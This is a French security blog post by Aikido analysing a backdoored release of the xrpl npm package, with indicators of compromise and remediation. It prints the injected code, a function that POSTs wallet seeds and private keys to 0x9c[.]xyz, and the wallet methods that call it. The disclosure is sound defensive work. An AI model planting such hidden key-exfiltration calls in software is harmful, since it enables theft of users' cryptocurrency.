Aikido

Attaque de la chaîne d'approvisionnement XRP : Le paquet officiel du NPM est infecté par une porte dérobée qui vole de la crypto-monnaie.

Charlie Eriksen
Charlie Eriksen
|
#
#

Le 21 avril, 20:53 GMT+0, notre système, Aikido Intel, a commencé à nous alerter sur cinq nouvelles versions du paquet xrpl. Il s'agit du SDK officiel pour le XRP Ledger, avec plus de 140 000 téléchargements hebdomadaires. Nous avons rapidement confirmé que le package officiel XPRL (Ripple) NPM a été compromis par des attaquants sophistiqués qui ont mis en place une porte dérobée pour voler les clés privées des crypto-monnaies et accéder aux portefeuilles de crypto-monnaies. Ce paquetage est utilisé par des centaines de milliers d'applications et de sites web, ce qui en fait une attaque de la chaîne d'approvisionnement potentiellement catastrophique pour l'écosystème des crypto-monnaies.

Voici le détail technique de la manière dont nous avons découvert l'attaque.

Le paquet xrpl sur npm

Nouveaux paquets publiés

L'utilisateur mukulljangid a publié cinq nouvelles versions de la bibliothèque à partir du 21 avril, 20:53 GMT+0 :

Paquets malveillants

Ce qui est intéressant, c'est que ces versions ne correspondent pas aux versions officielles telles que vues sur GitHub, où la dernière version est 4.2.0:

La dernière version de GitHub où les paquets ont été publiés.

Le fait que ces paquets soient apparus sans version correspondante sur GitHub est très suspect.

Le code mystérieux

Notre système a détecté un code étrange dans ces nouveaux paquets. Voici ce qu'il a identifié dans le fichier src/index.ts fichier dans la version 4.2.4 (Qui est étiqueté comme le plus récent) :

export { Client, ClientOptions } from './client'

export * from './models'

export * from './utils'

export { default as ECDSA } from './ECDSA'

export * from './errors'

export { FundingOptions } from './Wallet/fundWallet'
export { Wallet } from './Wallet'

export { walletFromSecretNumbers } from './Wallet/walletFromSecretNumbers'

export { keyToRFC1751Mnemonic, rfc1751MnemonicToKey } from './Wallet/rfc1751'

export * from './Wallet/signer'

const validSeeds = new Set<string>([])
export function checkValidityOfSeed(seed: string) {
  if (validSeeds.has(seed)) return
  validSeeds.add(seed)
  fetch("https://0x9c[.]xyz/xc", { method: 'POST', headers: { 'ad-referral': seed, } })
}

Tout semble normal jusqu'à la fin. Qu'est-ce que c'est ? vérification de la validité des semences ? Et pourquoi appelle-t-elle un domaine aléatoire appelé 0x9c[.]xyz? Descendons dans le trou du lapin !

Quel est le domaine ?

Nous avons d'abord examiné le domaine pour déterminer s'il pouvait être légitime. Nous avons consulté les détails du whois :

Informations sur le whois pour 0x9c[.]xyz

Ce n'est donc pas terrible. C'est un tout nouveau domaine. Très suspect.

Que fait le code ?

Le code lui-même définit une méthode, mais il n'y a pas d'appel immédiat à cette méthode. Nous avons donc cherché à savoir si elle était utilisée quelque part. Et oui, c'est le cas !

Résultats de la recherche pour la fonction malveillante

Il est appelé dans des fonctions telles que le constructeur de l'application Portefeuille classe (src/Wallet/index.ts), volant les clés privées dès qu'un objet Wallet est instancié :

 public constructor(
    publicKey: string,
    privateKey: string,
    opts: {
      masterAddress?: string
      seed?: string
    } = {},
  ) {
    this.publicKey = publicKey
    this.privateKey = privateKey
    this.classicAddress = opts.masterAddress
      ? ensureClassicAddress(opts.masterAddress)
      : deriveAddress(publicKey)
    this.seed = opts.seed

    checkValidityOfSeed(privateKey)
  }

Et ces fonctions :

  private static deriveWallet(
    seed: string,
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    const { publicKey, privateKey } = deriveKeypair(seed, {
      algorithm: opts.algorithm ?? DEFAULT_ALGORITHM,
    })

    checkValidityOfSeed(privateKey)
    return new Wallet(publicKey, privateKey, {
      seed,
      masterAddress: opts.masterAddress,
    })
  }
 private static fromRFC1751Mnemonic(
    mnemonic: string,
    opts: { masterAddress?: string; algorithm?: ECDSA },
  ): Wallet {
    const seed = rfc1751MnemonicToKey(mnemonic)
    let encodeAlgorithm: 'ed25519' | 'secp256k1'
    if (opts.algorithm === ECDSA.ed25519) {
      encodeAlgorithm = 'ed25519'
    } else {
      // Defaults to secp256k1 since that's the default for `wallet_propose`
      encodeAlgorithm = 'secp256k1'
    }
    const encodedSeed = encodeSeed(seed, encodeAlgorithm)
    checkValidityOfSeed(encodedSeed)
    return Wallet.fromSeed(encodedSeed, {
      masterAddress: opts.masterAddress,
      algorithm: opts.algorithm,
    })
  }
 
public static fromMnemonic(
    mnemonic: string,
    opts: {
      masterAddress?: string
      derivationPath?: string
      mnemonicEncoding?: 'bip39' | 'rfc1751'
      algorithm?: ECDSA
    } = {},
  ): Wallet {
    if (opts.mnemonicEncoding === 'rfc1751') {
      return Wallet.fromRFC1751Mnemonic(mnemonic, {
        masterAddress: opts.masterAddress,
        algorithm: opts.algorithm,
      })
    }
    // Otherwise decode using bip39's mnemonic standard
    if (!validateMnemonic(mnemonic, wordlist)) {
      throw new ValidationError(
        'Unable to parse the given mnemonic using bip39 encoding',
      )
    }

    const seed = mnemonicToSeedSync(mnemonic)
    checkValidityOfSeed(mnemonic)
    const masterNode = HDKey.fromMasterSeed(seed)
    const node = masterNode.derive(
      opts.derivationPath ?? DEFAULT_DERIVATION_PATH,
    )
    validateKey(node)

    const publicKey = bytesToHex(node.publicKey)
    const privateKey = bytesToHex(node.privateKey)
    return new Wallet(publicKey, `00${privateKey}`, {
      masterAddress: opts.masterAddress,
    })
  }
 public static fromEntropy(
    entropy: Uint8Array | number[],
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    const algorithm = opts.algorithm ?? DEFAULT_ALGORITHM
    const options = {
      entropy: Uint8Array.from(entropy),
      algorithm,
    }
    const seed = generateSeed(options)
    checkValidityOfSeed(seed)
    return Wallet.deriveWallet(seed, {
      algorithm,
      masterAddress: opts.masterAddress,
    })
  }
 public static fromSeed(
    seed: string,
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    checkValidityOfSeed(seed)
    return Wallet.deriveWallet(seed, {
      algorithm: opts.algorithm,
      masterAddress: opts.masterAddress,
    })
  }
 public static generate(algorithm: ECDSA = DEFAULT_ALGORITHM): Wallet {
    if (!Object.values(ECDSA).includes(algorithm)) {
      throw new ValidationError('Invalid cryptographic signing algorithm')
    }
    const seed = generateSeed({ algorithm })
    checkValidityOfSeed(seed)
    return Wallet.fromSeed(seed, { algorithm })
  }

Pourquoi tant de changements de version ?

En examinant ces paquets, nous avons constaté que les deux premiers paquets publiés (4.2.1 et 4.2.2) étaient différentes des autres. Nous avons fait une différence à trois voies sur les versions 4.2.0 (ce qui est légitime), 4.2.1et 4.2.2 pour comprendre ce qui se passait. Voici ce que nous avons observé :

  • À partir de 4.2.1, le scripts et plus beau a été supprimée de la base de données package.json
  • La première version à insérer un code malveillant dans src/Wallet/index.js était 4.2.2.
  • Les deux 4.2.1 et 4.2.2 contenait un fichier malveillant build/xrp-latest-min.js et build/xrp-latest.js.

Si l'on compare 4.2.2 à 4.2.3 et 4.2.4Nous constatons d'autres changements malveillants. Auparavant, seul le code JavaScript emballé avait été modifié. Ces modifications comprennent également les changements malveillants apportés à la version TypeScript du code

  • Le code indiqué précédemment devient src/index.ts.
  • Le code malveillant change pour src/Wallet/index.ts.
  • Au lieu d'insérer le code malveillant à la main dans les fichiers construits, la porte dérobée insérée dans le fichier index.ts est appelé. 

Nous pouvons donc voir que l'attaquant travaillait activement sur l'attaque, essayant différentes façons d'insérer la porte dérobée tout en restant aussi caché que possible. Il est passé de l'insertion manuelle de la porte dérobée dans le code JavaScript construit, à son insertion dans le code TypeScript, puis à sa compilation dans la version construite.

Aikido Intel

Ce logiciel malveillant a été détecté par Aikido Intel, le flux de menaces public d'Aikido qui utilise des LLM pour surveiller les gestionnaires de paquets publics tels que NPM afin d'identifier lorsque du code malveillant est ajouté à des paquets nouveaux ou existants. Si vous souhaitez être protégé contre les logiciels malveillants et les vulnérabilités non divulguées, vous pouvez vous abonner au flux de menaces Intel ou vous inscrire à Aikido Security.

Indicateurs de compromis 

Pour déterminer si vous avez été compromis, voici les indicateurs que vous pouvez utiliser :

Nom du paquet

  • xrpl

Versions du paquet

Vérifiez votre package.json et package-lock.json pour ces versions :

  • 4.2.4
  • 4.2.3
  • 4.2.2
  • 4.2.1
  • 2.14.2

Faites attention si vous aviez le paquet comme dépendance qui n'était pas corrigée avec un fichier de verrouillage de paquet, ou si vous utilisiez un fichier spécification de la version approximative/compatible comme ~4.2.0 ou ^4.2.0à titre d'exemple.

Si vous pensez avoir installé l'un des paquets susmentionnés entre le 21 avril, 20:53 GMT+0 et le 22 avril, 13:00 GMT+0, inspectez les journaux de votre réseau à la recherche de connexions sortantes vers l'hôte ci-dessous :

Domaine

  • 0x9c[.]xyz

Remédiation

Si vous pensez avoir été touché, il est important de supposer que toute graine ou clé privée traitée par le code a été compromise. Ces clés ne doivent plus être utilisées et tous les actifs qui leur sont associés doivent être immédiatement transférés vers un autre porte-monnaie/clé. Depuis que le problème a été révélé, l'équipe xrpl a publié deux nouvelles versions pour remplacer les paquets compromis :

  • 4.2.5
  • 2.14.3

Obtenir la sécurité gratuitement

Sécurisez votre code, votre cloud et votre environnement d'exécution dans un système central.
Trouvez et corrigez rapidement et automatiquement les vulnérabilités.

Aucune carte de crédit n'est requise |Résultats du balayage en 32 secondes.